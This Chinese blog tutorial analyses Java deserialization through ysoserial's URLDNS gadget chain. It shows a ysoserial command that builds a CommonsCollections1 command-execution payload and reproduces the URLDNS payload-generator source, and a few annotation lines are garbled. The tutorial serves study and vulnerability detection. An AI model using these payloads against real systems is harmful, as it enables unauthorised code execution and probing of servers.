“ java反序列化2,ysoserial调试:URLDNS”
个人博客地址:
https://blog.csdn.net/weixin_45694388?spm={%22spm%22:%221011.2266%22}.3001.5343
目录:
ysoserial
URLDNS利用
利⽤链分析
01
—
ysoserial
下载地址:https://github.com/angelwhu/ysoserial
ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。
什么是利⽤链?
利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。
ysoserial的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ysoserial可以很容易地⽣成这个gadget对应的POC:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏
02
—
URLDNS利用链
URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时
使⽤:
使⽤Java内置的类构造,对第三⽅库没有依赖
在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
ysoserial是如何⽣成 URLDNS 的代码的:
github地址https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
03
—
利⽤链分析
看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。
我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经
常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。
那么,我们可以直奔 HashMap 类的 readObject ⽅法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
"rawtypes","unchecked"}) ({
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
"unchecked") (
K key = (K) s.readObject();
"unchecked") (
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在倒数第四行:
putVal(hash(key), key, value, false, false);
原因:在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触
发了DNS请求。
hash ⽅法调⽤了key的 hashCode() ⽅法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:
这⾥有调⽤ getHostAddress ⽅法,继续跟进:
taborator原理:
点击“Create payload©”并生成一个唯一的URL,我可以在需要有效载荷的任何地方使用它。
如果有任何人看到这个URL并访问它,我会在Burp Suite collaborator客户端收到一条通知。
所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在
Java中其实已经算很少了。
要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap
中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。
另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个 SilentURLStreamHandler 类,这不是必须的。
原文始发于微信公众号(b1gpig信息安全):java安全(六)java反序列化2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论